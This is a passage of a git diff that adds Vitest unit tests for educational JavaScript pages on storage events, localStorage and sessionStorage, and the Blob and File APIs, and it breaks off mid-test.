StorageEvent with correct properties', () => { + const event = new StorageEvent('storage', { + key: 'theme', + oldValue: 'light', + newValue: 'dark', + url: 'http://example.com', + storageArea: localStorage + }) + + expect(event.key).toBe('theme') + expect(event.oldValue).toBe('light') + expect(event.newValue).toBe('dark') + expect(event.url).toBe('http://example.com') + expect(event.storageArea).toBe(localStorage) + }) + + it('should have null key when clear() is called', () => { + const event = new StorageEvent('storage', { + key: null, + oldValue: null, + newValue: null, + storageArea: localStorage + }) + + expect(event.key).toBeNull() + }) + + it('should have null oldValue for new keys', () => { + const event = new StorageEvent('storage', { + key: 'newKey', + oldValue: null, + newValue: 'value', + storageArea: localStorage + }) + + expect(event.oldValue).toBeNull() + expect(event.newValue).toBe('value') + }) + + it('should have null newValue when key is removed', () => { + const event = new StorageEvent('storage', { + key: 'removedKey', + oldValue: 'previousValue', + newValue: null, + storageArea: localStorage + }) + + expect(event.oldValue).toBe('previousValue') + expect(event.newValue).toBeNull() + }) + }) + + describe('Storage Event Listener Pattern', () => { + // Tests for MDX lines ~410-425 (event listener pattern) + it('should be able to add storage event listener', () => { + const handler = vi.fn() + + window.addEventListener('storage', handler) + + // Manually dispatch a storage event (simulating cross-tab change) + const event = new StorageEvent('storage', { + key: 'test', + oldValue: null, + newValue: 'value', + url: 'http://localhost', + storageArea: localStorage + }) + + window.dispatchEvent(event) + + expect(handler).toHaveBeenCalledTimes(1) + expect(handler.mock.calls[0][0].key).toBe('test') + + window.removeEventListener('storage', handler) + }) + + it('should receive all StorageEvent properties in handler', () => { + const receivedEvent = { key: null, oldValue: null, newValue: null, url: null } + + const handler = (event) => { + receivedEvent.key = event.key + receivedEvent.oldValue = event.oldValue + receivedEvent.newValue = event.newValue + receivedEvent.url = event.url + } + + window.addEventListener('storage', handler) + + const event = new StorageEvent('storage', { + key: 'theme', + oldValue: 'light', + newValue: 'dark', + url: 'http://example.com/page', + storageArea: localStorage + }) + + window.dispatchEvent(event) + + expect(receivedEvent.key).toBe('theme') + expect(receivedEvent.oldValue).toBe('light') + expect(receivedEvent.newValue).toBe('dark') + expect(receivedEvent.url).toBe('http://example.com/page') + + window.removeEventListener('storage', handler) + }) + + it('should support addEventListener for storage events', () => { + // Note: window.onstorage property may not work in jsdom + // but addEventListener always works + const handler = vi.fn() + + window.addEventListener('storage', handler) + + const event = new StorageEvent('storage', { + key: 'data', + newValue: 'updated' + }) + + window.dispatchEvent(event) + + expect(handler).toHaveBeenCalledTimes(1) + expect(handler.mock.calls[0][0].key).toBe('data') + + window.removeEventListener('storage', handler) + }) + }) + + describe('Auth Sync Pattern', () => { + // Tests for MDX lines ~445-470 (auth sync pattern) + it('should detect logout from another tab', () => { + let redirectCalled = false + let redirectUrl = '' + + // Mock the redirect + const mockRedirect = (url) => { + redirectCalled = true + redirectUrl = url + } + + const setupAuthSync = () => { + window.addEventListener('storage', (event) => { + if (event.key === 'authToken' && event.newValue === null) { + mockRedirect('/login') + } + }) + } + + setupAuthSync() + + // Simulate logout from another tab + const logoutEvent = new StorageEvent('storage', { + key: 'authToken', + oldValue: 'some-token', + newValue: null, // Token removed = logged out + storageArea: localStorage + }) + + window.dispatchEvent(logoutEvent) + + expect(redirectCalled).toBe(true) + expect(redirectUrl).toBe('/login') + }) + + it('should detect login from another tab', () => { + let reloadCalled = false + + const handler = (event) => { + if (event.key === 'authToken' && event.oldValue === null && event.newValue) { + reloadCalled = true + } + } + + window.addEventListener('storage', handler) + + // Simulate login from another tab + const loginEvent = new StorageEvent('storage', { + key: 'authToken', + oldValue: null, // No previous token + newValue: 'new-token', // Now logged in + storageArea: localStorage + }) + + window.dispatchEvent(loginEvent) + + expect(reloadCalled).toBe(true) + + window.removeEventListener('storage', handler) + }) + + it('should ignore non-auth storage changes', () => { + let authActionTaken = false + + const handler = (event) => { + if (event.key === 'authToken') { + authActionTaken = true + } + } + + window.addEventListener('storage', handler) + + // Non-auth change + const otherEvent = new StorageEvent('storage', { + key: 'theme', + oldValue: 'light', + newValue: 'dark', + storageArea: localStorage + }) + + window.dispatchEvent(otherEvent) + + expect(authActionTaken).toBe(false) + + window.removeEventListener('storage', handler) + }) + }) + + describe('Storage Event Filtering', () => { + it('should filter events by key', () => { + const themeChanges = [] + + const handler = (event) => { + if (event.key === 'theme') { + themeChanges.push(event.newValue) + } + } + + window.addEventListener('storage', handler) + + // Theme change + window.dispatchEvent(new StorageEvent('storage', { + key: 'theme', + newValue: 'dark' + })) + + // Other change (should be ignored) + window.dispatchEvent(new StorageEvent('storage', { + key: 'language', + newValue: 'en' + })) + + // Another theme change + window.dispatchEvent(new StorageEvent('storage', { + key: 'theme', + newValue: 'light' + })) + + expect(themeChanges).toEqual(['dark', 'light']) + + window.removeEventListener('storage', handler) + }) + + it('should detect clear() operation by null key', () => { + let clearDetected = false + + const handler = (event) => { + if (event.key === null) { + clearDetected = true + } + } + + window.addEventListener('storage', handler) + + // Simulate clear() from another tab + window.dispatchEvent(new StorageEvent('storage', { + key: null, + oldValue: null, + newValue: null, + storageArea: localStorage + })) + + expect(clearDetected).toBe(true) + + window.removeEventListener('storage', handler) + }) + }) + + describe('Feature Detection Pattern', () => { + // Tests for MDX lines ~520-545 (full feature detection) + it('should correctly detect localStorage availability', () => { + function storageAvailable(type) { + try { + const storage = window[type] + const testKey = "__storage_test__" + storage.setItem(testKey, testKey) + storage.removeItem(testKey) + return true + } catch (error) { + return ( + error instanceof DOMException && + error.name === "QuotaExceededError" && + storage && storage.length !== 0 + ) + } + } + + // In jsdom environment, localStorage should be available + expect(storageAvailable("localStorage")).toBe(true) + expect(storageAvailable("sessionStorage")).toBe(true) + }) + + it('should handle non-existent storage types', () => { + function storageAvailable(type) { + try { + const storage = window[type] + if (!storage) return false + const testKey = "__storage_test__" + storage.setItem(testKey, testKey) + storage.removeItem(testKey) + return true + } catch (error) { + return false + } + } + + expect(storageAvailable("fakeStorage")).toBe(false) + }) + }) + + describe('Cross-Tab Data Synchronization Patterns', () => { + it('should demonstrate cart sync pattern', () => { + const carts = { tab1: [], tab2: [] } + + // Tab 1 handler + const tab1Handler = (event) => { + if (event.key === 'cart') { + carts.tab1 = JSON.parse(event.newValue || '[]') + } + } + + // Tab 2 handler + const tab2Handler = (event) => { + if (event.key === 'cart') { + carts.tab2 = JSON.parse(event.newValue || '[]') + } + } + + window.addEventListener('storage', tab1Handler) + window.addEventListener('storage', tab2Handler) + + // Simulate cart update from another context + const cartData = [ + { id: 1, name: "Product A", qty: 2 }, + { id: 2, name: "Product B", qty: 1 } + ] + + window.dispatchEvent(new StorageEvent('storage', { + key: 'cart', + oldValue: '[]', + newValue: JSON.stringify(cartData), + storageArea: localStorage + })) + + expect(carts.tab1).toEqual(cartData) + expect(carts.tab2).toEqual(cartData) + + window.removeEventListener('storage', tab1Handler) + window.removeEventListener('storage', tab2Handler) + }) + + it('should handle settings sync across tabs', () => { + const settings = {} + + const handler = (event) => { + if (event.key && event.key.startsWith('setting_')) { + const settingName = event.key.replace('setting_', '') + settings[settingName] = event.newValue + } + } + + window.addEventListener('storage', handler) + + // Multiple settings changes + window.dispatchEvent(new StorageEvent('storage', { + key: 'setting_theme', + newValue: 'dark' + })) + + window.dispatchEvent(new StorageEvent('storage', { + key: 'setting_fontSize', + newValue: '16px' + })) + + window.dispatchEvent(new StorageEvent('storage', { + key: 'setting_language', + newValue: 'en' + })) + + expect(settings).toEqual({ + theme: 'dark', + fontSize: '16px', + language: 'en' + }) + + window.removeEventListener('storage', handler) + }) + }) + + describe('StorageEvent with sessionStorage', () => { + it('should work with sessionStorage area', () => { + let eventReceived = null + + const handler = (event) => { + if (event.storageArea === sessionStorage) { + eventReceived = event + } + } + + window.addEventListener('storage', handler) + + window.dispatchEvent(new StorageEvent('storage', { + key: 'sessionKey', + newValue: 'sessionValue', + storageArea: sessionStorage + })) + + expect(eventReceived).not.toBeNull() + expect(eventReceived.key).toBe('sessionKey') + expect(eventReceived.storageArea).toBe(sessionStorage) + + window.removeEventListener('storage', handler) + }) + + it('should distinguish between localStorage and sessionStorage events', () => { + const localEvents = [] + const sessionEvents = [] + + const handler = (event) => { + if (event.storageArea === localStorage) { + localEvents.push(event.key) + } else if (event.storageArea === sessionStorage) { + sessionEvents.push(event.key) + } + } + + window.addEventListener('storage', handler) + + window.dispatchEvent(new StorageEvent('storage', { + key: 'localKey', + storageArea: localStorage + })) + + window.dispatchEvent(new StorageEvent('storage', { + key: 'sessionKey', + storageArea: sessionStorage + })) + + expect(localEvents).toEqual(['localKey']) + expect(sessionEvents).toEqual(['sessionKey']) + + window.removeEventListener('storage', handler) + }) + }) + + describe('Error Handling in Storage Events', () => { + it('should handle JSON parse errors in event handlers gracefully', () => { + let errorOccurred = false + let parsedData = null + + const handler = (event) => { + try { + parsedData = JSON.parse(event.newValue) + } catch (e) { + errorOccurred = true + parsedData = null + } + } + + window.addEventListener('storage', handler) + + // Invalid JSON in storage + window.dispatchEvent(new StorageEvent('storage', { + key: 'data', + newValue: 'not valid json {' + })) + + expect(errorOccurred).toBe(true) + expect(parsedData).toBeNull() + + window.removeEventListener('storage', handler) + }) + + it('should handle null newValue (key removal)', () => { + let removed = false + + const handler = (event) => { + if (event.newValue === null) { + removed = true + } + } + + window.addEventListener('storage', handler) + + window.dispatchEvent(new StorageEvent('storage', { + key: 'deletedKey', + oldValue: 'previousValue', + newValue: null + })) + + expect(removed).toBe(true) + + window.removeEventListener('storage', handler) + }) + }) +}) diff --git a/tests/beyond/browser-storage/localstorage-sessionstorage/localstorage-sessionstorage.test.js b/tests/beyond/browser-storage/localstorage-sessionstorage/localstorage-sessionstorage.test.js new file mode 100644 index 00000000..a8ce9ab8 --- /dev/null +++ b/tests/beyond/browser-storage/localstorage-sessionstorage/localstorage-sessionstorage.test.js @@ -0,0 +1,698 @@ +/** + * Tests for localStorage & sessionStorage concept page + * @see /docs/beyond/concepts/localstorage-sessionstorage.mdx + * + * @vitest-environment jsdom + */ + +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest' + +describe('localStorage & sessionStorage', () => { + // Clear storage before and after each test + beforeEach(() => { + localStorage.clear() + sessionStorage.clear() + }) + + afterEach(() => { + localStorage.clear() + sessionStorage.clear() + }) + + describe('Basic localStorage Operations', () => { + // Tests for MDX lines ~10-18 (opening code example) + it('should store and retrieve string values with setItem/getItem', () => { + localStorage.setItem("theme", "dark") + const theme = localStorage.getItem("theme") + + expect(theme).toBe("dark") + }) + + it('should return null for non-existent keys', () => { + const missing = localStorage.getItem("nonexistent") + + expect(missing).toBeNull() + }) + + it('should update existing values with setItem', () => { + localStorage.setItem("username", "alice") + localStorage.setItem("username", "bob") + + expect(localStorage.getItem("username")).toBe("bob") + }) + + it('should remove items with removeItem', () => { + localStorage.setItem("toRemove", "value") + localStorage.removeItem("toRemove") + + expect(localStorage.getItem("toRemove")).toBeNull() + }) + + it('should clear all items with clear()', () => { + localStorage.setItem("a", "1") + localStorage.setItem("b", "2") + localStorage.setItem("c", "3") + + localStorage.clear() + + expect(localStorage.length).toBe(0) + }) + + it('should return key at index with key()', () => { + localStorage.setItem("a", "1") + localStorage.setItem("b", "2") + + // Note: order is not guaranteed, but both keys should exist + const keys = [localStorage.key(0), localStorage.key(1)] + expect(keys).toContain("a") + expect(keys).toContain("b") + }) + + it('should return null for out of bounds key index', () => { + localStorage.setItem("a", "1") + + expect(localStorage.key(99)).toBeNull() + }) + + it('should track length property correctly', () => { + expect(localStorage.length).toBe(0) + + localStorage.setItem("x", "1") + expect(localStorage.length).toBe(1) + + localStorage.setItem("y", "2") + expect(localStorage.length).toBe(2) + + localStorage.removeItem("x") + expect(localStorage.length).toBe(1) + }) + }) + + describe('Basic sessionStorage Operations', () => { + it('should store and retrieve values like localStorage', () => { + sessionStorage.setItem("formDraft", "Hello...") + + expect(sessionStorage.getItem("formDraft")).toBe("Hello...") + }) + + it('should maintain separate storage from localStorage', () => { + localStorage.setItem("key", "local") + sessionStorage.setItem("key", "session") + + expect(localStorage.getItem("key")).toBe("local") + expect(sessionStorage.getItem("key")).toBe("session") + }) + + it('should support all the same API methods', () => { + sessionStorage.setItem("a", "1") + sessionStorage.setItem("b", "2") + + expect(sessionStorage.length).toBe(2) + expect(sessionStorage.key(0)).not.toBeNull() + + sessionStorage.removeItem("a") + expect(sessionStorage.length).toBe(1) + + sessionStorage.clear() + expect(sessionStorage.length).toBe(0) + }) + }) + + describe('Storing Complex Data with JSON', () => { + // Tests for MDX lines ~280-340 (JSON section) + describe('Automatic string conversion problems', () => { + it('should convert numbers to strings', () => { + localStorage.setItem("count", 42) + + expect(typeof localStorage.getItem("count")).toBe("string") + expect(localStorage.getItem("count")).toBe("42") + }) + + it('should convert booleans to strings', () => { + localStorage.setItem("isActive", true) + + expect(localStorage.getItem("isActive")).toBe("true") + expect(localStorage.getItem("isActive")).not.toBe(true) + }) + + it('should lose object data without JSON.stringify', () => { + localStorage.setItem("user", { name: "Alice" }) + + expect(localStorage.getItem("user")).toBe("[object Object]") + }) + + it('should convert arrays to comma-separated strings', () => { + localStorage.setItem("items", [1, 2, 3]) + + expect(localStorage.getItem("items")).toBe("1,2,3") + }) + }) + + describe('JSON.stringify and JSON.parse solution', () => { + it('should properly store and retrieve objects', () => { + const user = { name: "Alice", age: 30, roles: ["admin", "user"] } + localStorage.setItem("user", JSON.stringify(user)) + + const storedUser = JSON.parse(localStorage.getItem("user")) + + expect(storedUser.name).toBe("Alice") + expect(storedUser.age).toBe(30) + expect(storedUser.roles).toEqual(["admin", "user"]) + }) + + it('should properly store and retrieve arrays', () => { + const favorites = ["item1", "item2", "item3"] + localStorage.setItem("favorites", JSON.stringify(favorites)) + + const storedFavorites = JSON.parse(localStorage.getItem("favorites")) + + expect(storedFavorites).toEqual(favorites) + expect(storedFavorites[0]).toBe("item1") + }) + + it('should handle nested objects', () => { + const data = { + user: { + profile: { + name: "Bob", + settings: { theme: "dark" } + } + } + } + localStorage.setItem("data", JSON.stringify(data)) + + const stored = JSON.parse(localStorage.getItem("data")) + + expect(stored.user.profile.name).toBe("Bob") + expect(stored.user.profile.settings.theme).toBe("dark") + }) + }) + + describe('JSON Gotchas', () => { + it('should convert Date objects to strings', () => { + const now = new Date("2024-01-15T12:00:00Z") + const data = { created: now } + localStorage.setItem("data", JSON.stringify(data)) + + const parsed = JSON.parse(localStorage.getItem("data")) + + expect(typeof parsed.created).toBe("string") + // Can be parsed back to Date + const restoredDate = new Date(parsed.created) + expect(restoredDate.getTime()).toBe(now.getTime()) + }) + + it('should lose undefined values in objects', () => { + const obj = { a: 1, b: undefined } + const stringified = JSON.stringify(obj) + + expect(stringified).toBe('{"a":1}') + expect(JSON.parse(stringified).b).toBeUndefined() + }) + + it('should lose function properties', () => { + const withFunction = { greet: () => "hello", name: "test" } + const stringified = JSON.stringify(withFunction) + + expect(stringified).toBe('{"name":"test"}') + }) + + it('should throw on circular references', () => { + const circular = { name: "test" } + circular.self = circular + + expect(() => JSON.stringify(circular)).toThrow(TypeError) + }) + }) + }) + + describe('Storage Wrapper Utility', () => { + // Tests for the storage wrapper from MDX lines ~340-375 + const storage = { + set(key, value) { + try { + localStorage.setItem(key, JSON.stringify(value)) + return true + } catch (error) { + return false + } + }, + + get(key, defaultValue = null) { + try { + const item = localStorage.getItem(key) + return item ? JSON.parse(item) : defaultValue + } catch (error) { + return defaultValue + } + }, + + remove(key) { + localStorage.removeItem(key) + }, + + clear() { + localStorage.clear() + } + } + + it('should store objects without manual stringify', () => { + storage.set("user", { name: "Alice", premium: true }) + + const user = storage.get("user") + + expect(user).toEqual({ name: "Alice", premium: true }) + }) + + it('should return default value for missing keys', () => { + const missing = storage.get("nonexistent", { guest: true }) + + expect(missing).toEqual({ guest: true }) + }) + + it('should return null by default for missing keys', () => { + const missing = storage.get("nonexistent") + + expect(missing).toBeNull() + }) + + it('should handle remove and clear operations', () => { + storage.set("a", 1) + storage.set("b", 2) + + storage.remove("a") + expect(storage.get("a")).toBeNull() + expect(storage.get("b")).toBe(2) + + storage.clear() + expect(storage.get("b")).toBeNull() + }) + + it('should return default on invalid JSON', () => { + localStorage.setItem("invalid", "not-json{") + + const result = storage.get("invalid", "fallback") + + expect(result).toBe("fallback") + }) + }) + + describe('Storage API Demo Function', () => { + // Test for the complete demonstrateStorageAPI example (MDX lines ~240-270) + it('should correctly demonstrate all storage operations', () => { + // Clear previous data + localStorage.clear() + + // Store some items + localStorage.setItem("name", "Alice") + localStorage.setItem("role", "Developer") + localStorage.setItem("level", "Senior") + + expect(localStorage.length).toBe(3) + expect(localStorage.getItem("name")).toBe("Alice") + + // Update an item + localStorage.setItem("level", "Lead") + expect(localStorage.getItem("level")).toBe("Lead") + + // Collect all items + const items = {} + for (let i = 0; i < localStorage.length; i++) { + const key = localStorage.key(i) + items[key] = localStorage.getItem(key) + } + + expect(items.name).toBe("Alice") + expect(items.role).toBe("Developer") + expect(items.level).toBe("Lead") + + // Remove one item + localStorage.removeItem("role") + expect(localStorage.length).toBe(2) + + // Clear everything + localStorage.clear() + expect(localStorage.length).toBe(0) + }) + }) + + describe('Feature Detection', () => { + // Tests for the storageAvailable function (MDX lines ~520-545) + function storageAvailable(type) { + try { + const storage = window[type] + const testKey = "__storage_test__" + storage.setItem(testKey, testKey) + storage.removeItem(testKey) + return true + } catch (error) { + return false + } + } + + it('should return true when localStorage is available', () => { + expect(storageAvailable("localStorage")).toBe(true) + }) + + it('should return true when sessionStorage is available', () => { + expect(storageAvailable("sessionStorage")).toBe(true) + }) + + it('should return false for invalid storage type', () => { + expect(storageAvailable("invalidStorage")).toBe(false) + }) + }) + + describe('Common Patterns', () => { + describe('Theme/Dark Mode Preference', () => { + // Tests for MDX lines ~640-665 + function setTheme(theme) { + return localStorage.setItem("theme", theme) + } + + function loadTheme() { + const savedTheme = localStorage.getItem("theme") + return savedTheme || "light" + } + + function toggleTheme() { + const current = localStorage.getItem("theme") || "light" + const newTheme = current === "light" ? "dark" : "light" + localStorage.setItem("theme", newTheme) + return newTheme + } + + it('should save and load theme preference', () => { + setTheme("dark") + expect(loadTheme()).toBe("dark") + + setTheme("light") + expect(loadTheme()).toBe("light") + }) + + it('should default to light theme when none saved', () => { + localStorage.clear() + expect(loadTheme()).toBe("light") + }) + + it('should toggle between light and dark', () => { + localStorage.clear() + + expect(toggleTheme()).toBe("dark") + expect(toggleTheme()).toBe("light") + expect(toggleTheme()).toBe("dark") + }) + }) + + describe('Multi-Step Form Wizard', () => { + // Tests for MDX lines ~670-695 + function saveFormProgress(step, data) { + const progress = JSON.parse(sessionStorage.getItem("formProgress") || "{}") + progress[step] = data + progress.currentStep = step + sessionStorage.setItem("formProgress", JSON.stringify(progress)) + } + + function loadFormProgress() { + return JSON.parse(sessionStorage.getItem("formProgress") || "{}") + } + + function clearFormProgress() { + sessionStorage.removeItem("formProgress") + } + + it('should save and load form progress', () => { + saveFormProgress(1, { name: "Alice" }) + saveFormProgress(2, { email: "alice@example.com" }) + + const progress = loadFormProgress() + + expect(progress.currentStep).toBe(2) + expect(progress[1]).toEqual({ name: "Alice" }) + expect(progress[2]).toEqual({ email: "alice@example.com" }) + }) + + it('should clear form progress', () => { + saveFormProgress(1, { name: "Test" }) + clearFormProgress() + + expect(loadFormProgress()).toEqual({}) + }) + }) + + describe('Recently Viewed Items', () => { + // Tests for MDX lines ~700-720 + function addToRecentlyViewed(item, maxItems = 10) { + const recent = JSON.parse(localStorage.getItem("recentlyViewed") || "[]") + const filtered = recent.filter((i) => i.id !== item.id) + filtered.unshift(item) + const trimmed = filtered.slice(0, maxItems) + localStorage.setItem("recentlyViewed", JSON.stringify(trimmed)) + } + + function getRecentlyViewed() { + return JSON.parse(localStorage.getItem("recentlyViewed") || "[]") + } + + it('should add items to recently viewed', () => { + addToRecentlyViewed({ id: 1, name: "Item 1" }) + addToRecentlyViewed({ id: 2, name: "Item 2" }) + + const recent = getRecentlyViewed() + + expect(recent.length).toBe(2) + expect(recent[0].id).toBe(2) // Most recent first + expect(recent[1].id).toBe(1) + }) + + it('should move duplicate items to front', () => { + addToRecentlyViewed({ id: 1, name: "Item 1" }) + addToRecentlyViewed({ id: 2, name: "Item 2" }) + addToRecentlyViewed({ id: 1, name: "Item 1 Updated" }) + + const recent = getRecentlyViewed() + + expect(recent.length).toBe(2) + expect(recent[0].id).toBe(1) + expect(recent[0].name).toBe("Item 1 Updated") + }) + + it('should limit to maxItems', () => { + for (let i = 1; i <= 15; i++) { + addToRecentlyViewed({ id: i, name: `Item ${i}` }, 10) + } + + const recent = getRecentlyViewed() + + expect(recent.length).toBe(10) + expect(recent[0].id).toBe(15) // Most recent + expect(recent[9].id).toBe(6) // Oldest kept + }) + + it('should return empty array when nothing stored', () => { + localStorage.clear() + expect(getRecentlyViewed()).toEqual([]) + }) + }) + }) + + describe('Common Mistakes', () => { + describe('Null handling from getItem', () => { + // Tests for MDX lines ~735-745 + it('should demonstrate the null handling issue', () => { + // Dangerous pattern + const settings = JSON.parse(localStorage.getItem("settings")) + + expect(settings).toBeNull() + expect(() => settings.theme).toThrow(TypeError) + }) + + it('should safely handle missing values with default', () => { + const settings = JSON.parse(localStorage.getItem("settings")) || {} + const theme = settings.theme || "light" + + expect(theme).toBe("light") + }) + }) + + describe('Default value pattern', () => { + it('should provide default for getItem with OR operator', () => { + const theme = localStorage.getItem("theme") || "light" + + expect(theme).toBe("light") + }) + + it('should not use default when value exists', () => { + localStorage.setItem("theme", "dark") + const theme = localStorage.getItem("theme") || "light" + + expect(theme).toBe("dark") + }) + }) + }) + + describe('Edge Cases', () => { + it('should handle empty string keys', () => { + localStorage.setItem("", "empty key") + + expect(localStorage.getItem("")).toBe("empty key") + }) + + it('should handle empty string values', () => { + localStorage.setItem("key", "") + + expect(localStorage.getItem("key")).toBe("") + expect(localStorage.getItem("key")).not.toBeNull() + }) + + it('should handle special characters in keys', () => { + localStorage.setItem("key with spaces", "value") + localStorage.setItem("key.with.dots", "value") + localStorage.setItem("key-with-dashes", "value") + + expect(localStorage.getItem("key with spaces")).toBe("value") + expect(localStorage.getItem("key.with.dots")).toBe("value") + expect(localStorage.getItem("key-with-dashes")).toBe("value") + }) + + it('should handle unicode in keys and values', () => { + localStorage.setItem("emoji", "Hello") + localStorage.setItem("greeting", "Hello World") + + expect(localStorage.getItem("emoji")).toBe("Hello") + expect(localStorage.getItem("greeting")).toBe("Hello World") + }) + + it('should handle very long strings', () => { + const longString = "x".repeat(1000000) // 1MB string + localStorage.setItem("long", longString) + + expect(localStorage.getItem("long")).toBe(longString) + expect(localStorage.getItem("long").length).toBe(1000000) + }) + + it('should distinguish between null stored as string and actual null', () => { + localStorage.setItem("nullString", "null") + + expect(localStorage.getItem("nullString")).toBe("null") + expect(localStorage.getItem("nonexistent")).toBeNull() + }) + + it('should handle removing non-existent keys without error', () => { + expect(() => { + localStorage.removeItem("does-not-exist") + }).not.toThrow() + }) + + it('should handle clearing already empty storage', () => { + localStorage.clear() + + expect(() => { + localStorage.clear() + }).not.toThrow() + + expect(localStorage.length).toBe(0) + }) + }) + + describe('Iteration Patterns', () => { + it('should iterate using for loop with key()', () => { + localStorage.setItem("a", "1") + localStorage.setItem("b", "2") + localStorage.setItem("c", "3") + + const items = {} + for (let i = 0; i < localStorage.length; i++) { + const key = localStorage.key(i) + items[key] = localStorage.getItem(key) + } + + expect(items).toEqual({ a: "1", b: "2", c: "3" }) + }) + + it('should iterate using Object.keys', () => { + localStorage.setItem("x", "10") + localStorage.setItem("y", "20") + + const keys = Object.keys(localStorage) + + expect(keys).toContain("x") + expect(keys).toContain("y") + }) + }) + + describe('Test Your Knowledge Examples', () => { + describe('Question 2: JSON.stringify necessity', () => { + it('should demonstrate data loss without stringify', () => { + localStorage.setItem("user", { name: "Alice" }) + + expect(localStorage.getItem("user")).toBe("[object Object]") + }) + + it('should preserve data with stringify', () => { + localStorage.setItem("user", JSON.stringify({ name: "Alice" })) + + const stored = localStorage.getItem("user") + expect(stored).toBe('{"name":"Alice"}') + + const parsed = JSON.parse(stored) + expect(parsed.name).toBe("Alice") + }) + }) + + describe('Question 6: Feature detection', () => { + it('should detect localStorage availability', () => { + function storageAvailable(type) { + try { + const storage = window[type] + const testKey = "__test__" + storage.setItem(testKey, testKey) + storage.removeItem(testKey) + return true + } catch (e) { + return false + } + } + + // In jsdom, localStorage is available + expect(storageAvailable("localStorage")).toBe(true) + }) + }) + }) +}) + +describe('SafeSetItem with QuotaExceededError handling', () => { + // Tests for MDX lines ~490-515 + function safeSetItem(key, value) { + try { + localStorage.setItem(key, value) + return true + } catch (error) { + if (error.name === "QuotaExceededError") { + return false + } + throw error + } + } + + beforeEach(() => { + localStorage.clear() + }) + + it('should return true on successful storage', () => { + const result = safeSetItem("test", "value") + + expect(result).toBe(true) + expect(localStorage.getItem("test")).toBe("value") + }) + + // Note: It's difficult to test QuotaExceededError in jsdom + // as it typically doesn't enforce storage limits + it('should handle normal operations', () => { + safeSetItem("a", "1") + safeSetItem("b", "2") + + expect(localStorage.getItem("a")).toBe("1") + expect(localStorage.getItem("b")).toBe("2") + }) +}) diff --git a/tests/beyond/data-handling/blob-file-api/blob-file-api.dom.test.js b/tests/beyond/data-handling/blob-file-api/blob-file-api.dom.test.js new file mode 100644 index 00000000..3a206942 --- /dev/null +++ b/tests/beyond/data-handling/blob-file-api/blob-file-api.dom.test.js @@ -0,0 +1,247 @@ +/** + * @vitest-environment jsdom + */ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +describe('Blob & File API - DOM', () => { + let container + + beforeEach(() => { + container = document.createElement('div') + container.id = 'test-container' + document.body.appendChild(container) + }) + + afterEach(() => { + document.body.innerHTML = '' + vi.restoreAllMocks() + + if (global.URL.revokeObjectURL.mockRestore) { + global.URL.revokeObjectURL.mockRestore() + } + }) + + describe('URL.createObjectURL and revokeObjectURL', () => { + it('should create object URL from Blob', () => { + const blob = new Blob(['Hello'], { type: 'text/plain' }) + const url = URL.createObjectURL(blob) + + expect(url).toMatch(/^blob:/) + + URL.revokeObjectURL(url) + }) + + it('should create object URL from File', () => { + const file = new File(['content'], 'test.txt', { type: 'text/plain' }) + const url = URL.createObjectURL(file) + + expect(url).toMatch(/^blob:/) + + URL.revokeObjectURL(url) + }) + }) + + describe('Download functionality pattern', () => { + it('should create downloadable link with Blob', () => { + const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) + const url = URL.createObjectURL(blob) + + const link = document.createElement('a') + link.href = url + link.download = 'greeting.txt' + + expect(link.href).toMatch(/^blob:/) + expect(link.download).toBe('greeting.txt') + + URL.revokeObjectURL(url) + }) + + it('should support download attribute on anchor', () => { + const link = document.createElement('a') + link.download = 'test-file.json' + + expect(link.download).toBe('test-file.json') + }) + }) + + describe('File Input handling', () => { + it('should create file input element', () => { + const input = document.createElement('input') + input.type = 'file' + container.appendChild(input) + + expect(input.type).toBe('file') + expect(input.files.length).toBe(0) + }) + + it('should support multiple file selection attribute', () => { + const input = document.createElement('input') + input.type = 'file' + input.multiple = true + + expect(input.multiple).toBe(true) + }) + + it('should support accept attribute for file types', () => { + const input = document.createElement('input') + input.type = 'file' + input.accept = 'image/*,.pdf' + + expect(input.accept).toBe('image/*,.pdf') + }) + }) + + describe('FileReader in DOM context', () => { + it('should read Blob as text using FileReader', async () => { + const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) + + const result = await new Promise((resolve, reject) => { + const reader = new FileReader() + reader.onload = () => resolve(reader.result) + reader.onerror = () => reject(reader.error) + reader.readAsText(blob) + }) + + expect(result).toBe('Hello, World!') + }) + + it('should read File as data URL', async () => { + const file = new File(['test content'], 'test.txt', { type: 'text/plain' }) + + const result = await new Promise((resolve, reject) => { + const reader = new FileReader() + reader.onload = () => resolve(reader.result) + reader.onerror = () => reject(reader.error) + reader.readAsDataURL(file) + }) + + expect(result).toMatch(/^data:text\/plain;base64,/) + }) + + it('should read Blob as ArrayBuffer', async () => { + const blob = new Blob([new Uint8Array([1, 2, 3, 4])]) + + const result = await new Promise((resolve, reject) => { + const reader = new FileReader() + reader.onload = () => resolve(reader.result) + reader.onerror = () => reject(reader.error) + reader.readAsArrayBuffer(blob) + }) + + expect(result).toBeInstanceOf(ArrayBuffer) + expect(result.byteLength).toBe(4) + }) + + it('should have correct readyState values', async () => { + const blob = new Blob(['test']) + const reader = new FileReader() + + expect(reader.readyState).toBe(0) + + const promise = new Promise((resolve) => { + reader.onloadstart = () => { + expect(reader.readyState).toBe(1) + } + reader.onload = () => { + expect(reader.readyState).toBe(2) + resolve() + } + }) + + reader.readAsText(blob) + await promise + }) + }) + + describe('Drag and drop events', () => { + it('should fire dragover event on element', () => { + const dropZone = document.createElement('div') + container.appendChild(dropZone) + + let dragOverFired = false + dropZone.addEventListener('dragover', () => { + dragOverFired = true + }) + + const event = new Event('dragover', { bubbles: true }) + dropZone.dispatchEvent(event) + + expect(dragOverFired).toBe(true) + }) + + it('should fire drop event on element', () => { + const dropZone = document.createElement('div') + container.appendChild(dropZone) + + let dropFired = false + dropZone.addEventListener('drop', () => { + dropFired = true + }) + + const event = new Event('drop', { bubbles: true }) + dropZone.dispatchEvent(event) + + expect(dropFired).toBe(true) + }) + }) + + describe('FormData with files', () => { + it('should append File to FormData', () => { + const formData = new FormData() + const file = new File(['content'], 'upload.txt', { type: 'text/plain' }) + + formData.append('file', file) + + expect(formData.has('file')).toBe(true) + expect(formData.get('file')).toBe(file) + }) + + it('should append Blob to FormData with filename', () => { + const formData = new FormData() + const blob = new Blob(['content'], { type: 'text/plain' }) + + formData.append('file', blob, 'custom-name.txt') + + const retrieved = formData.get('file') + expect(retrieved.name).toBe('custom-name.txt') + }) + + it('should append multiple files with same key', () => { + const formData = new FormData() + + formData.append('files', new File(['a'], 